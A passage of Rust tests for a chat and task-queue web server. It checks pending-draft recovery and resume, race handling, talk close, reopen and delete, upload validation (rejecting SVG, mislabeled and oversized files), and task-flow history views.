11377            // Wait for the busy branch to actually reach the gate, rather
11378            // than for any fixed number of polls of anything - a bounded
11379            // wait rather than a bare `.await` so a regression that never
11380            // reaches the gate fails the test instead of hanging it.
11381            tokio::time::timeout(Duration::from_secs(5), reached_rx)
11382                .await
11383                .unwrap_or_else(|_| {
11384                    panic!(
11385                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
11386                    )
11387                })
11388                .expect("the busy branch dropped the gate without using it");
11389
11390            // The turn that was running now finishes and gives the slot up
11391            // the way a real one does - through `drain_loop`, which finds
11392            // nothing queued yet (the write is still held at the gate) and
11393            // releases. The handler, parked inside `spawn_blocking` on the
11394            // other side of the gate, still believes the talk is busy -
11395            // exactly the interleaving the reclaim exists for.
11396            let running = talks.get(&id).expect("reload talk");
11397            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
11398
11399            // Drop the handler future now, the way a reloading phone drops
11400            // it: suspended waiting on the busy branch's answer, having
11401            // itself made no more progress since it handed the write off.
11402            handler.abort();
11403            let _ = handler.await;
11404
11405            // Only now let the gated write proceed. It persists the draft
11406            // and reclaims the now-free slot from inside the task the busy
11407            // branch already spawned - unaffected by the handler's abort
11408            // above, since that task was independent of the handler's own
11409            // future from the moment it was spawned.
11410            let _ = release_tx.send(());
11411
11412            // A settled talk: the draft drained into an operator turn and
11413            // answered.
11414            let mut fresh = talks.get(&id).expect("reload talk");
11415            for _ in 0..SETTLE_STEPS {
11416                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
11417                    break;
11418                }
11419                tokio::time::sleep(Duration::from_millis(10)).await;
11420                fresh = talks.get(&id).expect("reload talk");
11421            }
11422            assert!(
11423                fresh.pending.is_empty() && fresh.turns.len() == 2,
11424                "attempt {attempt}: talk {id} left the operator's text queued \
11425                 with no drainer - the reclaimed turn was dropped along with \
11426                 the handler future (pending {:?}, {} turns)",
11427                fresh.pending,
11428                fresh.turns.len()
11429            );
11430        }
11431    }
11432
11433    #[tokio::test]
11434    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11435        let (_tmp, _repo, f) = talk_fixture().await;
11436        let id = f.post("/api/talks", None).await.json()["id"]
11437            .as_str()
11438            .expect("id")
11439            .to_owned();
11440        let store = f.talks();
11441        let mut recovered = store.get(&id).expect("opened talk");
11442        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11443            .expect("persist pending draft without a live turn");
11444
11445        let edited = f
11446            .post(
11447                &format!("/api/talks/{id}/pending/edit"),
11448                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11449            )
11450            .await;
11451        assert_eq!(edited.status, 200, "{}", edited.body);
11452        assert!(edited.json()["thinking"].as_bool().unwrap());
11453
11454        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11455        for _ in 0..SETTLE_STEPS {
11456            if detail["turns"].as_array().expect("turns").len() == 2 {
11457                break;
11458            }
11459            tokio::time::sleep(Duration::from_millis(10)).await;
11460            detail = f.get(&format!("/api/talks/{id}")).await.json();
11461        }
11462        let turns = detail["turns"].as_array().expect("turns");
11463        assert_eq!(
11464            turns.len(),
11465            2,
11466            "the recovered draft must run once: {detail}"
11467        );
11468        assert_eq!(turns[0]["body"], "corrected");
11469        assert_eq!(detail["pending"], "");
11470    }
11471
11472    #[tokio::test]
11473    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11474        let tmp = TempDir::new().expect("tempdir");
11475        let repo = tmp.path().join("repo");
11476        std::fs::create_dir_all(&repo).expect("repo dir");
11477        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11478        let f = Fixture::with_repo(repo).await;
11479        let id = f.post("/api/talks", None).await.json()["id"]
11480            .as_str()
11481            .expect("id")
11482            .to_owned();
11483        let store = f.talks();
11484        let mut recovered = store.get(&id).expect("opened talk");
11485        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11486            .expect("persist pending draft without a live turn");
11487
11488        let refused = f
11489            .post(
11490                &format!("/api/talks/{id}/say"),
11491                Some(r#"{"text":"new message"}"#),
11492            )
11493            .await;
11494        assert_eq!(refused.status, 409, "{}", refused.body);
11495        assert!(refused.body.contains("resume"), "{}", refused.body);
11496        let saved = store.get(&id).expect("draft remains after refusal");
11497        assert!(saved.turns.is_empty());
11498        assert_eq!(saved.pending, "saved before restart");
11499
11500        let say_path = format!("/api/talks/{id}/say");
11501        let (first, second) = tokio::join!(
11502            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11503            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11504        );
11505        assert_eq!(first.status, 409, "{}", first.body);
11506        assert_eq!(second.status, 409, "{}", second.body);
11507        let saved = store
11508            .get(&id)
11509            .expect("draft remains after concurrent refusals");
11510        assert!(saved.turns.is_empty());
11511        assert_eq!(saved.pending, "saved before restart");
11512
11513        let resumed = f
11514            .post(&format!("/api/talks/{id}/pending/resume"), None)
11515            .await;
11516        assert_eq!(resumed.status, 202, "{}", resumed.body);
11517        let duplicate = f
11518            .post(&format!("/api/talks/{id}/pending/resume"), None)
11519            .await;
11520        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11521
11522        for _ in 0..SETTLE_STEPS {
11523            if store.get(&id).expect("talk").turns.len() == 2 {
11524                break;
11525            }
11526            tokio::time::sleep(Duration::from_millis(10)).await;
11527        }
11528        let finished = store.get(&id).expect("finished talk");
11529        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11530        assert_eq!(finished.turns[0].body, "saved before restart");
11531        assert!(finished.pending.is_empty());
11532    }
11533
11534    #[tokio::test]
11535    async fn an_image_only_recovered_draft_resumes_without_text() {
11536        let (_tmp, _repo, f) = talk_fixture().await;
11537        let id = f.post("/api/talks", None).await.json()["id"]
11538            .as_str()
11539            .expect("id")
11540            .to_owned();
11541        let uploaded = f
11542            .post_bytes(
11543                &format!("/api/talks/{id}/attachments"),
11544                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11545                PNG_BYTES,
11546            )
11547            .await;
11548        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11549        let attachment = f
11550            .talks()
11551            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11552            .expect("attachment metadata")
11553            .expect("stored attachment");
11554        let store = f.talks();
11555        let mut recovered = store.get(&id).expect("opened talk");
11556        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11557
11558        let resumed = f
11559            .post(&format!("/api/talks/{id}/pending/resume"), None)
11560            .await;
11561        assert_eq!(resumed.status, 202, "{}", resumed.body);
11562        for _ in 0..SETTLE_STEPS {
11563            if store.get(&id).expect("talk").turns.len() == 2 {
11564                break;
11565            }
11566            tokio::time::sleep(Duration::from_millis(10)).await;
11567        }
11568        let finished = store.get(&id).expect("finished talk");
11569        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11570        assert!(finished.turns[0].body.is_empty());
11571        assert_eq!(finished.turns[0].attachments.len(), 1);
11572        assert!(finished.pending_attachments.is_empty());
11573    }
11574
11575    #[tokio::test]
11576    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11577        let (_tmp, _repo, f) = talk_fixture().await;
11578        let id = f.post("/api/talks", None).await.json()["id"]
11579            .as_str()
11580            .expect("id")
11581            .to_owned();
11582        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11583        assert_eq!(closed.status, 200, "{}", closed.body);
11584        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11585            .expect("serialize closed talk");
11586        for (path, body) in [
11587            (format!("/api/talks/{id}/pending/resume"), None),
11588            (
11589                format!("/api/talks/{id}/pending/clear"),
11590                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11591            ),
11592            (
11593                format!("/api/talks/{id}/pending/edit"),
11594                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11595            ),
11596            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11597        ] {
11598            let response = f.post(&path, body).await;
11599            assert_eq!(response.status, 409, "{}", response.body);
11600        }
11601        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11602            .expect("serialize closed talk");
11603        assert_eq!(
11604            after_clear, before_clear,
11605            "clear must not rewrite a closed talk"
11606        );
11607    }
11608
11609    /// Keeps both claims observable long enough to exercise the distinction
11610    /// between one busy talk and a globally locked Chat surface.
11611    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11612
11613    #[tokio::test]
11614    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11615        let tmp = TempDir::new().expect("tempdir");
11616        let repo = tmp.path().join("repo");
11617        std::fs::create_dir_all(&repo).expect("repo dir");
11618        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11619        let f = Fixture::with_repo(repo).await;
11620        let id_a = f.post("/api/talks", None).await.json()["id"]
11621            .as_str()
11622            .unwrap()
11623            .to_owned();
11624        let id_b = f.post("/api/talks", None).await.json()["id"]
11625            .as_str()
11626            .unwrap()
11627            .to_owned();
11628
11629        let a = f
11630            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11631            .await;
11632        assert_eq!(a.status, 202, "{}", a.body);
11633        assert_eq!(a.json()["thinking"], true);
11634        let b = f
11635            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11636            .await;
11637        assert_eq!(b.status, 202, "{}", b.body);
11638        assert_eq!(b.json()["thinking"], true);
11639
11640        let listed = f.get("/api/talks").await.json();
11641        for id in [&id_a, &id_b] {
11642            let view = listed
11643                .as_array()
11644                .unwrap()
11645                .iter()
11646                .find(|talk| talk["id"] == *id)
11647                .unwrap();
11648            assert_eq!(view["thinking"], true, "{listed}");
11649        }
11650        let repeated = f
11651            .post(
11652                &format!("/api/talks/{id_a}/say"),
11653                Some(r#"{"text":"again"}"#),
11654            )
11655            .await;
11656        assert_eq!(repeated.status, 202, "{}", repeated.body);
11657        assert_eq!(repeated.json()["pending"], "again");
11658    }
11659
11660    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
11661    /// few more, since real uploads are never exactly eight bytes.
11662    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11663
11664    #[tokio::test]
11665    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11666        let f = Fixture::start().await;
11667        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11668
11669        let res = f
11670            .post_bytes(
11671                &format!("/api/talks/{id}/attachments"),
11672                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11673                PNG_BYTES,
11674            )
11675            .await;
11676        assert_eq!(res.status, 201, "{}", res.body);
11677        let body = res.json();
11678        assert_eq!(body["name"], "shot.png");
11679        assert_eq!(body["mime"], "image/png");
11680        assert_eq!(body["bytes"], PNG_BYTES.len());
11681        let att_id = body["id"].as_str().expect("id").to_owned();
11682        assert_eq!(
11683            att_id.len(),
11684            32,
11685            "the id must never be a client-suppliable path: {att_id}"
11686        );
11687
11688        let got = f
11689            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11690            .await;
11691        assert_eq!(got.status, 200, "{}", got.body);
11692        assert_eq!(got.header("content-type"), Some("image/png"));
11693        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11694        assert_eq!(got.bytes, PNG_BYTES);
11695    }
11696
11697    #[tokio::test]
11698    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11699        let f = Fixture::start().await;
11700        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11701
11702        // SVG can carry a `<script>`, so it is never on the whitelist even
11703        // though it is a real IANA image type.
11704        let svg = f
11705            .post_bytes(
11706                &format!("/api/talks/{id}/attachments"),
11707                &[("Content-Type", "image/svg+xml")],
11708                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11709            )
11710            .await;
11711        assert!(
11712            (400..500).contains(&svg.status),
11713            "svg must be refused: {} {}",
11714            svg.status,
11715            svg.body
11716        );
11717        assert!(svg.body.contains("SVG"), "{}", svg.body);
11718
11719        let text = f
11720            .post_bytes(
11721                &format!("/api/talks/{id}/attachments"),
11722                &[("Content-Type", "text/plain")],
11723                b"just some text",
11724            )
11725            .await;
11726        assert!(
11727            (400..500).contains(&text.status),
11728            "an unlisted type must be refused: {} {}",
11729            text.status,
11730            text.body
11731        );
11732
11733        // The declared type is a real png, but the size check runs before
11734        // the bytes are even looked at.
11735        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11736        let big = f
11737            .post_bytes(
11738                &format!("/api/talks/{id}/attachments"),
11739                &[("Content-Type", "image/png")],
11740                &oversized,
11741            )
11742            .await;
11743        assert_eq!(
11744            big.status,
11745            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11746            "{}",
11747            big.body
11748        );
11749    }
11750
11751    #[tokio::test]
11752    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11753        let f = Fixture::start().await;
11754        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11755
11756        // A whitelisted `Content-Type`, but bytes that are not actually a
11757        // png - the declared header alone is never trusted.
11758        let res = f
11759            .post_bytes(
11760                &format!("/api/talks/{id}/attachments"),
11761                &[("Content-Type", "image/png")],
11762                b"<html>not a picture</html>",
11763            )
11764            .await;
11765        assert!((400..500).contains(&res.status), "{}", res.body);
11766    }
11767
11768    #[tokio::test]
11769    async fn an_unknown_attachment_id_is_a_404() {
11770        let f = Fixture::start().await;
11771        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11772
11773        let res = f
11774            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11775            .await;
11776        assert_eq!(res.status, 404, "{}", res.body);
11777    }
11778
11779    #[tokio::test]
11780    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11781        let f = Fixture::start().await;
11782        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11783
11784        let uploaded = f
11785            .post_bytes(
11786                &format!("/api/talks/{id}/attachments"),
11787                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11788                PNG_BYTES,
11789            )
11790            .await;
11791        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11792        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11793
11794        let res = f
11795            .post(
11796                &format!("/api/talks/{id}/say"),
11797                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11798            )
11799            .await;
11800        assert_eq!(res.status, 202, "{}", res.body);
11801        let queued = res.json();
11802        let turns = queued["turns"].as_array().expect("turns array");
11803        assert_eq!(
11804            turns.len(),
11805            1,
11806            "an empty body with an attachment is still a turn: {queued}"
11807        );
11808        assert_eq!(turns[0]["who"], "operator");
11809        assert_eq!(turns[0]["body"], "");
11810        let atts = turns[0]["attachments"]
11811            .as_array()
11812            .expect("attachments array");
11813        assert_eq!(atts.len(), 1);
11814        assert_eq!(atts[0]["id"], att_id);
11815        assert_eq!(atts[0]["mime"], "image/png");
11816
11817        // Not only in the response: `record` flushes to disk before the
11818        // agent's own turn is even spawned.
11819        let on_disk = f.talks().get(&id).expect("get");
11820        assert_eq!(on_disk.turns[0].attachments.len(), 1);
11821        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11822    }
11823
11824    #[tokio::test]
11825    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11826        let f = Fixture::start().await;
11827        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11828
11829        let res = f
11830            .post(
11831                &format!("/api/talks/{id}/say"),
11832                Some(&format!(
11833                    r#"{{"text":"hi","attachments":["{}"]}}"#,
11834                    "a".repeat(32)
11835                )),
11836            )
11837            .await;
11838        assert!((400..500).contains(&res.status), "{}", res.body);
11839        assert!(res.body.contains("unknown attachment"), "{}", res.body);
11840
11841        let on_disk = f.talks().get(&id).expect("get");
11842        assert!(
11843            on_disk.turns.is_empty(),
11844            "a rejected attachment id must not partially record the turn: {:?}",
11845            on_disk.turns
11846        );
11847    }
11848
11849    #[tokio::test]
11850    async fn talk_close_makes_the_talk_refuse_further_turns() {
11851        let f = Fixture::start().await;
11852        let id = seed_talk(&f, "20260904-014455-cd34", "open");
11853
11854        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11855        assert_eq!(closed.status, 200, "{}", closed.body);
11856        assert_eq!(closed.json()["status"], "closed");
11857
11858        // Idempotent: closing an already-closed talk is not an error.
11859        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11860        assert_eq!(closed_again.status, 200);
11861        assert_eq!(closed_again.json()["status"], "closed");
11862
11863        let said = f
11864            .post(
11865                &format!("/api/talks/{id}/say"),
11866                Some(r#"{"text":"too late"}"#),
11867            )
11868            .await;
11869        assert_eq!(said.status, 409, "{}", said.body);
11870    }
11871
11872    #[tokio::test]
11873    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11874        let (_tmp, _repo, f) = talk_fixture().await;
11875        let id = f.post("/api/talks", None).await.json()["id"]
11876            .as_str()
11877            .expect("id")
11878            .to_owned();
11879        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11880        assert_eq!(closed.status, 200, "{}", closed.body);
11881
11882        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11883        assert_eq!(reopened.status, 200, "{}", reopened.body);
11884        assert_eq!(reopened.json()["status"], "open");
11885
11886        // Idempotent: reopening an already-open talk is not an error.
11887        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11888        assert_eq!(reopened_again.status, 200);
11889        assert_eq!(reopened_again.json()["status"], "open");
11890
11891        let said = f
11892            .post(
11893                &format!("/api/talks/{id}/say"),
11894                Some(r#"{"text":"still there?"}"#),
11895            )
11896            .await;
11897        assert_eq!(
11898            said.status, 202,
11899            "a reopened talk accepts turns again: {}",
11900            said.body
11901        );
11902    }
11903
11904    #[tokio::test]
11905    async fn talk_reopen_on_an_unknown_id_is_404() {
11906        let f = Fixture::start().await;
11907        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11908        assert_eq!(res.status, 404, "{}", res.body);
11909    }
11910
11911    #[tokio::test]
11912    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11913        let f = Fixture::start().await;
11914        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11915
11916        let deleted = f.delete(&format!("/api/talks/{id}")).await;
11917        assert_eq!(deleted.status, 204, "{}", deleted.body);
11918
11919        let after = f.get(&format!("/api/talks/{id}")).await;
11920        assert_eq!(after.status, 404, "{}", after.body);
11921
11922        let listed = f.get("/api/talks").await.json();
11923        assert!(
11924            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11925            "a deleted talk must not linger in the list: {listed}"
11926        );
11927    }
11928
11929    #[tokio::test]
11930    async fn talk_delete_on_an_unknown_id_is_404() {
11931        let f = Fixture::start().await;
11932        let res = f.delete("/api/talks/nonexistent-id").await;
11933        assert_eq!(res.status, 404, "{}", res.body);
11934    }
11935
11936    /// A task's page lists every run it ever had, in order, and says what kind
11937    /// of attempt each was - including a resume, which re-pushes the same run
11938    /// id, and a run whose record this build cannot read.
11939    #[tokio::test]
11940    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11941        let f = Fixture::start().await;
11942        let (a, b, gone) = (
11943            "20260902-140501-aaaa",
11944            "20260902-140502-bbbb",
11945            "20260902-140503-cccc",
11946        );
11947        write_run(&f.runs(), a, RunStatus::Stalled);
11948        let mut review = RunState::new(
11949            PathBuf::from("/repo/magi"),
11950            "main".to_owned(),
11951            "0123456789abcdef".to_owned(),
11952            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11953                .to_owned(),
11954            Config::default(),
11955        );
11956        review.id = b.to_owned();
11957        review.status = RunStatus::Merged;
11958        write_state(&f.runs(), &review);
11959
11960        let mut task = Task::new(
11961            "retry".to_owned(),
11962            "Do the thing".to_owned(),
11963            PathBuf::from("/repo/magi"),
11964            Source::Human,
11965        );
11966        task.start(a.to_owned());
11967        task.stall("quota");
11968        task.start(a.to_owned());
11969        task.start(b.to_owned());
11970        task.start(gone.to_owned());
11971        f.queue().put(&mut task).expect("file the task");
11972
11973        let res = f.get(&format!("/api/queue/{}", task.id)).await;
11974        assert_eq!(res.status, 200, "{}", res.body);
11975        let v = res.json();
11976        let h = v["history"].as_array().expect("history");
11977        assert_eq!(h.len(), 4, "{v}");
11978        assert_eq!(h[0]["kind"], "competition");
11979        assert_eq!(h[0]["status"], "stalled");
11980        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11981        assert_eq!(h[1]["kind"], "resume", "{v}");
11982        assert!(
11983            h[0]["outcome"]
11984                .as_str()
11985                .unwrap()
11986                .contains("unknown. Pass #2"),
11987            "an earlier pass of a resumed run must not claim the final outcome: {v}"
11988        );
11989        assert!(
11990            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11991            "{v}"
11992        );
11993        assert!(
11994            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11995            "an unrecorded cause must not be narrated as an operator park: {v}"
11996        );
11997        assert_eq!(h[2]["kind"], "review");
11998        assert!(
11999            h[2]["description"]
12000                .as_str()
12001                .unwrap()
12002                .contains("magi/aaaa/A")
12003        );
12004        assert_eq!(h[2]["status"], "merged");
12005        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12006        assert_eq!(v["runs_unreadable"], 1);
12007        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12008        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12009        assert_eq!(nodes[4]["note"], "unreadable");
12010        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12011        assert_eq!(v["instruction"], "Do the thing");
12012        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12013
12014        // The run's own page links back to the task.
12015        let run = f.get(&format!("/api/runs/{a}")).await.json();
12016        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12017
12018        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12019    }
12020
12021    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12022        let mut s = RunState::new(
12023            PathBuf::from("/repo/magi"),
12024            "main".to_owned(),
12025            "0123456789abcdef".to_owned(),
12026            "Do it".to_owned(),
12027            Config::default(),
12028        );
12029        s.status = status;
12030        edit(&mut s);
12031        s
12032    }
12033
12034    fn flow_task(runs: &[&str]) -> Task {
12035        let mut t = Task::new(
12036            "t".to_owned(),
12037            "Do it".to_owned(),
12038            PathBuf::from("/repo/magi"),
12039            Source::Human,
12040        );
12041        for r in runs {
12042            t.start((*r).to_owned());
12043        }
12044        t
12045    }
12046
12047    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12048        let h = task_history(task, |id| {
12049            states
12050                .iter()
12051                .find(|(i, _)| *i == id)
12052                .and_then(|(_, s)| s.clone())
12053        });
12054        task_flow(task, &h, 5, None)
12055    }
12056
12057    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12058        crate::queue::FollowUp {
12059            run: "20260901-000000-aaaa".to_owned(),
12060            origin_task: origin_task.map(str::to_owned),
12061            pr: "https://example.com/o/r/pull/1".to_owned(),
12062            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12063                .map(str::to_owned)
12064                .to_vec(),
12065            generation: 1,
12066        }
12067    }
12068
12069    fn parent_task() -> Task {
12070        let mut p = flow_task(&[]);
12071        p.title = "Parent title".to_owned();
12072        p.status = TaskStatus::Done;
12073        p
12074    }
12075
12076    #[test]
12077    fn flow_opens_with_the_parent_task_of_a_followup() {
12078        let p = parent_task();
12079        let pid = p.id.clone();
12080        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12081        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12082        let n = &f.nodes[0];
12083        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12084        assert_eq!(
12085            n.label,
12086            format!("Follow-up of {}", crate::queue::short(&pid))
12087        );
12088        assert_eq!(n.detail.as_deref(), Some("Parent title"));
12089        assert_eq!(n.status, Some("done"));
12090        assert_eq!(n.status_of, "task");
12091        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12092        assert_eq!(f.nodes[1].key, "start");
12093        assert_eq!(f.edges[0].from, "origin");
12094        assert_eq!(
12095            f.edges[0].label,
12096            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12097        );
12098    }
12099
12100    #[test]
12101    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12102        let o = followup_origin(
12103            &fu(Some("gone")),
12104            |_| None,
12105            |_| {
12106                Some(RunState::new(
12107                    std::path::PathBuf::from("."),
12108                    "main".to_owned(),
12109                    "0".to_owned(),
12110                    "t".to_owned(),
12111                    crate::config::Config::default(),
12112                ))
12113            },
12114        );
12115        assert!(o.parent.is_none());
12116        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12117        let n = &f.nodes[0];
12118        assert_eq!(n.status_of, "run");
12119        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12120        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12121    }
12122
12123    #[test]
12124    fn flow_followup_with_nothing_readable_has_no_link() {
12125        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12126        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12127        let n = &f.nodes[0];
12128        assert_eq!(n.href, None);
12129        assert_eq!(n.note, Some("unreadable"));
12130        assert!(!n.readable);
12131    }
12132
12133    #[test]
12134    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12135        let o = followup_origin(&fu(None), |_| None, |_| None);
12136        let mut t = flow_task(&[]);
12137        t.origin_chat = Some("c1".to_owned());
12138        let f = task_flow(&t, &[], 5, Some(&o));
12139        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12140        t.source = Source::Agent {
12141            run: "c1".to_owned(),
12142            node: crate::queue::CHAT_NODE.to_owned(),
12143        };
12144        let f = task_flow(&t, &[], 5, Some(&o));
12145        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12146        assert_eq!(
12147            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12148            ("chat", "origin")
12149        );
12150    }
12151
12152    #[test]
12153    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12154        let mut p = parent_task();
12155        p.id = "a b/c".to_owned();
12156        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12157        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12158    }
12159
12160    #[test]
12161    fn flow_opens_with_the_chat_that_queued_the_task() {
12162        let mut t = flow_task(&[]);
12163        t.source = Source::Agent {
12164            run: "a b/c".to_owned(),
12165            node: crate::queue::CHAT_NODE.to_owned(),
12166        };
12167        let f = flow_for(&t, &[]);
12168        assert_eq!(f.nodes[0].key, "chat");
12169        assert_eq!(f.nodes[0].kind, "chat");
12170        assert_eq!(
12171            f.nodes[0].label,
12172            format!("Chat {}", crate::queue::short("a b/c"))
12173        );
12174        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12175        assert_eq!(f.nodes[1].key, "start");
12176        assert_eq!(
12177            f.edges[0],
12178            FlowEdge {
12179                from: "chat".to_owned(),
12180                to: "start".to_owned(),
12181                label: "queued from chat".to_owned(),
12182                attempt: AttemptCost::None,
12183            }
12184        );
12185    }
12186
12187    #[test]
12188    fn flow_has_no_chat_box_for_other_sources() {
12189        for source in [
12190            Source::Human,
12191            Source::Issue {
12192                number: 3,
12193                repo: "o/r".to_owned(),
12194            },
12195            Source::Agent {
12196                run: "20260904-014455-ab12".to_owned(),
12197                node: "implement".to_owned(),
12198            },
12199        ] {
12200            let mut t = flow_task(&[]);
12201            t.source = source;
12202            let f = flow_for(&t, &[]);
12203            assert_eq!(f.nodes[0].key, "start");
12204            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12205            assert!(f.edges.iter().all(|e| e.from != "chat"));
12206        }
12207    }
12208
12209    const FA: &str = "20260902-140501-aaaa";
12210    const FB: &str = "20260902-140502-bbbb";
12211
12212    #[test]
12213    fn flow_follows_blocked_retry_merged_to_done() {
12214        let mut t = flow_task(&[FA, FB]);
12215        t.status = TaskStatus::Done;
12216        let f = flow_for(
12217            &t,
12218            &[
12219                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12220                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12221            ],
12222        );
12223        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12224        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12225        assert_eq!(f.edges.len(), 3);
12226        assert_eq!(f.edges[0].label, "claimed");
12227        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12228        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12229        assert_eq!(f.edges[2].label, "merged \u{2192} done");
12230        assert_eq!(
12231            f.nodes[2].href.as_deref(),
12232            Some("#/runs/20260902-140502-bbbb")
12233        );
12234        assert!(f.nodes[2].decided);
12235    }
12236
12237    #[test]
12238    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12239        let quota = || {
12240            flow_run(RunStatus::Stalled, |s| {
12241                s.quota.push(crate::run::QuotaLoss {
12242                    seat: "judge-1".to_owned(),
12243                    node: "judge".to_owned(),
